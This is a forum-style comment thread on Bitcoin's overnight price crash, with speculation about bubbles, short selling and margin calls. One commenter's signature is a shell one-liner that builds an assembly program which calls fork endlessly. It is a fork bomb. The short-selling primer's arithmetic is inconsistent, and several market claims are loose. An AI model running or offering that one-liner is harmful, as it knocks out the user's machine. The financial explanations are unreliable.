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Bitcoin's Value Plummeted Overnight and No One Knows Why (slate.com)
Jacob Brogan, writing for Slate: While the Western Hemisphere slept, Bitcoin plummeted. Just after midnight Eastern Time on Friday, the cryptocurrency was valued at a little over $15,000, on the digital currency exchange Coinbase. At that point, it was already well below the $19,783 all-time high it had hit the week before. Over the course of the night, Bitcoin began to decline erratically, occasionally spiking but following a general downward trend. Around 9:22 a.m. Eastern, it hit a temporary floor, valued at a mere $10,400. By that point, it had declined more than $6,000 from its short-term peak the morning before, having lost more than one-third of its value. Bitcoin wasn't the only currency hit by a sharp drop. Tech Crunch's Jon Russell reports that most other prominent cryptocurrencies also fell, including Ethereum, Litecoin, and Bitcoin Cash (which is, confusingly, separate from Bitcoin proper). As Russell notes, it's hard to say why this is happening, "in the same way that nobody knows exactly why bitcoin's price has [shot] up from a touch under $1,000 at the start of the year."
It was overvalued and a bubble. Next question?
Profit taking, I'm sure. That's what often happens when a stock rises quickly; the people who got in earlier sell out to cement their profit.
Everyone knows why Bitcoin's value plummeted. It's because Bitcoin doesn't have any value other than the belief of people in Bitcoin. What I said about Bitcoin is generally true for the Dollar too, but in the case of the Dollar at least the U.S. Government will take it for your tax payments. Nobody has to take Bitcoin for anything.
People confuse creation of money with creation of value. Value is food, materials, information, useful work. Dollars/bitcoins are unreliable media for exchange of value, not the value itself. Creation of $300B in bitcoin won't help the world to feed one more mouth.
Speculators jumped on it as a get-rich-quick scheme to make money from other speculators who would - they hoped - not time the market as well as they did. But inherent in this strategy is that all speculators will cash in on their speculation, driving Bitcoin back to low values as they abscond.
Bruce Perens.
There's no "reason" because there's no rational valuation mechanism. Cryptocurrency without a mechanism for value stabilization is a scam. Blockchains are clearly useful for certain kinds of distributed trust problems, but Bitcoin is merely one instance that was always marketed as a cryptocurrency but has zero use as a transaction mechanism. Nobody wants to use a currency that may be worth 20% more, or 20% less the next day.
The only valid use case for Bitcoin I've heard described is as an improved version of the offshore banking system. In other words, a mechanism for rich people to launder and hide money. Of course, a cryptocurrency with value stability would sure as hell be a lot more useful and trusted for even this grey market purpose.
Ultimately, Bitcoin's value is driven by grey and black market activity. Money laundering, cybercrime, etc. Investing in Bitcoin is essentially investing in a residual claim on this underbelly of the economy, in the same way that regular fiat currencies are residual claims on national economies, with a healthy dose of mindless speculation and bubblemania thrown into the mix.
Of course, it is time travelers from the future, cashing out before the inevitable collapse in 2 weeks. Of course this needs to be done in a careful and coordinated fashion, to avoid the inevitable positive feedback. Now the trick is whether they will be able to return to the future, since the early decline in the price might affect the funding that created their time machines.
- Mike
Holy Crap! I am going to blockchain my 3D printed autonomous crypto drones with AI in the agile cloud! It will be bigger than web scale!
Bitcoin is no different than Pork Bellies.
Except it makes lousy bacon.
When Fascism comes to America, it will call itself Anti-Fascism, and tell you to give up your guns.
Futures. And options. Particularly the ability to sell short without a position in the underlying asset (naked shorts).
Options allow an investor to effectively buy an insurance policy on the movement of an asset's price. A short position is a bet that your asset will go down. You cover yourself against the losses. Like buying insurance on your house. But if you don't own the underlying asset (or didn't borrow it), it's like your neighbor buying insurance on your house. If enough of your neighbors do this, I'll guarantee that your house will burn down sooner or later. It's what happened to mortgage backed securities in 2008.
The SEC tried to put a stop to that. But given a brand new asset class that they really don't understand or can't track, expect antics to ensue. Once the shit stops hitting the fan, expect the SEC to move to register and regulate Bitcoin and it's trading. And then it's allure will be gone.
Have gnu, will travel.
I don't recall Slashdot having a bit coin story yesterday. Bitcoin felt ignored and wanted to do something to get attention again.
Inhabitants of many Latin American countries have clear memories of the country's currency plummetting overnight to ~60% of its previous value. In my lifetime, it has happened at least three times (and losing 10% overnight? Oh, too many to count).
Of course, nobody wants to save in national currencies then... But it's not like we have much of a choice!
Coins are not lost if the transaction isn't processed. The sender still owns the coins until the public distributed ledger says otherwise, which it won't until the transaction is confirmed and included in the block chain. The protocol has a "replace-by-fee" (RBF) where you can just re-create a new transaction with a higher fee than the old unconfirmed transaction and the new transaction, once confirmed, becomes the fate of the sender's coin, and the old transaction, if it ever gets processed, will be rejected as that coin has already been spent.
There is something you guys should understand about Wall Street (particularly Goldman Sachs a.k.a. The Vampire Squid) getting into the cryptocurrency futures market. You would think on the surface, if you write (or go short) a Gold, or Oil, or even Cattle contract, that you have to come up with the goods when the futures contract matures. However, there is the little discussed option of "Cash Settlement". If you can't meet the obligations of the futures contract, you can simply pay the owner of the contract what those goods are worth in US Dollars. The markets tout this as good thing for all market participants, but in reality, it is a gross perversion of the market in general. It effectively turns your Cattle, or Oil, or Gold market into a US Dollar market.
And now they're doing the very same thing to the BTC market. When people are short BTC futures and have to come up with the goods, they don't have to worry about spiking the spot market looking for BTC. They just have to shell out USD. And the Powers That Be have LOTS of USD to spend on either side of that trade.
Great. So I'm a local electronics store. I sell someone a laptop for .1 BTC. Fair deal. That transaction is queued for a few days. He wants to walk out of the store with the laptop today. Either the store takes a huge risk of fraud (or even mistake), or the user can't get what he buys for days. Which is why anyone who thinks this is a workable currency is a fucking idiot.
I still have more fans than freaks. WTF is wrong with you people?
For those not familiar with either the term or the practice, here's a primer:-
Imagine you think that Bitcoin is in a bubble and hugely over-priced. All it would take would be a sharp pin to burst the bubble and the price will plummet... Well, good for you if you don't have any in your portfolio, but how can you use that to make a shed-load of money?
You sell short in the hope of starting a run. Here's how it works. You go to the market and you sell say, $100,000,000 of Bitcoin that you don't actually possess... Markets will allow you to do this, as long as you settle all your accounts by the end of the current trading period [i.e. by market close on the day]. So what happens is this:
You have no cash to buy, and no Bitcoins, but you "sell", $100,000,000 of coins in to the market at say 20% below the currently trading price. Let's keep the numbers simple - imagine the prevailing price was $20,000/coin and you sell for, ooh... $16,000, which is the 20% drop point. The sheer size of your transaction - perhaps done because you've seen a couple of other big sales do the same thing - spooks the market. Suddenly all the traders who have been buying in to the currency are worried and they want out as quickly as possible. They start to offer their holdings for sale at steep discounts, each sale taking place way below the buying price.
In no time the price of Bitcoins falls through the floor... Everyone wants to sell, nobody wants to buy. Except, perhaps, the suckers who had "buy orders" programmed into their trading platforms if ever the price was "foolish" enough to dip below their target price. Suddenly all those folk with automated buy positions get their trades executed, even while the price continues to tank.
You watch the price plummet. $19,000, $18,000, $17,000, $16,000, $15,000. Eventually it hits $14,000 and the "dead cat bounce" starts - the price starts to look soooo stupidly attractive that more nuanced traders begin to buy back in. The price rallies. You buy enough coins to cover the "sale" you made at the beginning of the day. Except that you "sold" for $16,000, but you bought back in at $14,500...
Now let's do the math and figure out how much you made [before transaction fees]. You "sold" $10,000,000 at $16,000 each, which means that you sold 625 coins. Then the price dropped to $14,500 and you bought 625 coins to cover your earlier sale. But because you only had to pay $14,500 for them, you actually pay out $90,625,000. So you've made $9,375,000 with "Other People's Money" - all in a single day.
Congratulations, you've just passed "Banking 101"....
Oh, and for those who read this and think, "That's all well and good in theory, but it would never happen in practice..." I'd remind you that roughly 20 years ago, "Black Wednesday" happened, which absolutely devastated the value of UK Sterling on international exchange rates - and in the process made George Soros, who bet "against" the Pound in *exactly* the way I've just described here, a billionaire.
Until the practice of "short selling" - what I've just described in this post - is made illegal, there is *nothing* to stop this happening with Bitcoin, or with any other traded commodity. Bitcoin is no longer operating like a currency [if it ever truly did], but is now operating exactly like a "bubble" commodity, just like the dot-com boom, like antique cars, like works of art, like vintage wine.
It's difficult to know for sure, but this event has all the hall-marks of someone attempting to burst the bubble and make a killing. I reckon if there was some short selling in this window that someone might have made a noteworthy profit, but unlikely what we saw George Soros make. Whoever it was, they'll get it right next time...
Selling a lot of BTC, quickly, and more importantly reliably, needs the cooperation of bitcoin miners to process your transaction quickly, ahead of others, instead of waiting until... whenever.
So, look who processed all those BTC sale transactions and how they are connected with the sellers.
Clearly, BTC trading benefits from insiders because it is so illiquid.
"For a successful technology, reality must take precedence over public relations, for Nature cannot be fooled"
Buy on the dip people! A top economist forecasts one Bitcoin will be worth one hundred million trillion dollars in three months time!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Four things happened starting on Tuesday. Coinbase added BCH, margin accounts and interest became unsustainable, margin calls, exit strategies.
Coinbase added support for Bitcoin Cash on Tuesday. They also gave everyone 1 BCH for each BTC you had at the time of the split. This should have flooded the market with BCH and driven the price of BCH down. Also the sellers of BCH should have invested in other currencies and pushed those prices up. The opposite happened. News that coinbase was accepting BCH actually pushed BCH's price up and the shift to BCH caused other currencies to fall.
Most of the trading is now automated trading. You can also buy on margin. However the margin has a 1.5% interest per day. Then funny things happen. If someone borrows 1 BTC and shorts it, and then buys an equivalent amount of 10 other more volatile coins using that money they could cover the interest. For the past 2 months this worked really well. Most smaller cap currencies have gone up more than BTC by more than 1.5%. It seemed like low risk investing. People treat crypto like the stock markets treat stocks assuming that having 100 different stocks has less variability than 1. Unfortunately like the stock market, there is a high level of correlation in price change.
Now after Tuesday, people who had margin accounts had to top up their margins. This caused a slow sell but the interest rates made borrowing for more than 3 days difficult so starting late last night a lot of people had no choice but to sell.
Exit strategies - eventually everyone has to actually use their money. I know a lot of people who have made 10x their investment. Their exit has been if it falls 30%, I sell 50%. So if they put in 100K, they had 1M yesterday, 700K this morning and then sold to have 350K in fiat and 350K still in crypto. You can automate that sell.
The weird part. There are no natural sellers in crypto currencies. They aren't backed in any meaningful way anymore. After this crash all the remaining people who own crypto are non-sellers. They are greedy and will hold indefinitely. The margin people who had to sell are gone, my friends with exit strategies are out. The only sellers left are people who are moving money between crypto currencies. The prices of most currencies not in the top 10 market cap are going to jump 15% before the day is done. In a week the money will be poring back in and zero money will be being pulled out.
The reason has been known for hundreds of years.
But we will never learn that a bubble is a bubble is a bubble.
Bitcoin is a bit of technology/algorithms that would be useful if it weren't so cumbersome. There are better, more recent, solutions for the same problem, and Bitcoin will fall by the wayside.
In the meantime, none of these things are actual currencies. It's just people playing chicken pretending there's something to back the "currency" and passing the hot-potato along until somebody gets stuck with it.
Some day, governments or others that can act as a store of wealth may use similar technology.
Smart money manipulating Bitcoin so it can buy in.
Yep. Google "How to short b..." and several explanations will just pop right up!
Spend only what you can afford to lose. Up until now, the trend has been increasing value, and it will likely continue for a while. At some point, it will crash, and it will be difficult to cash out then.
"When you have eliminated the unacceptable, whatever is left, however improbable, must be the truthiness" - Holmes
You seem very angry that people are identifying this bubble as a bubble, without being able to predict when it will burst.
I put my money where my mouth is - not by shorting bitcoin, but by refusing to risk my principle by investing in the first place.
If I didn't think it was a bubble I'd buy.